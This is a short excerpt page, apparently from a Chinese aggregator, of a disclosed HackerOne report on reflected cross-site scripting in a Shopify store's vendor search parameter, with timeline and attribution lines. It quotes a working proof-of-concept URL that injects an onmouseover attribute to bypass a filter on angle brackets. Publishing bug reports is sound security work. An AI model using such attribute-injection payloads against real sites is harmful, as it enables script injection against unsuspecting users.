XSS *.myshopify.com/collections/vendors?q=
该报告还没有中文解读。
原文摘录
摘自原文（235 字符中的一小部分）
WAF cut "<",">, but " and ' still in. 1. [PoC example link](https://lostvalues.myshopify.com/collections/vendors?q=X" onmouseover="alert('XSS')" style="font-size: 1001pt;") 2.mouse on X 3. .. 4.XSS alert message默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Shopify 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @gromoza · 版权归作者与 Shopify 所有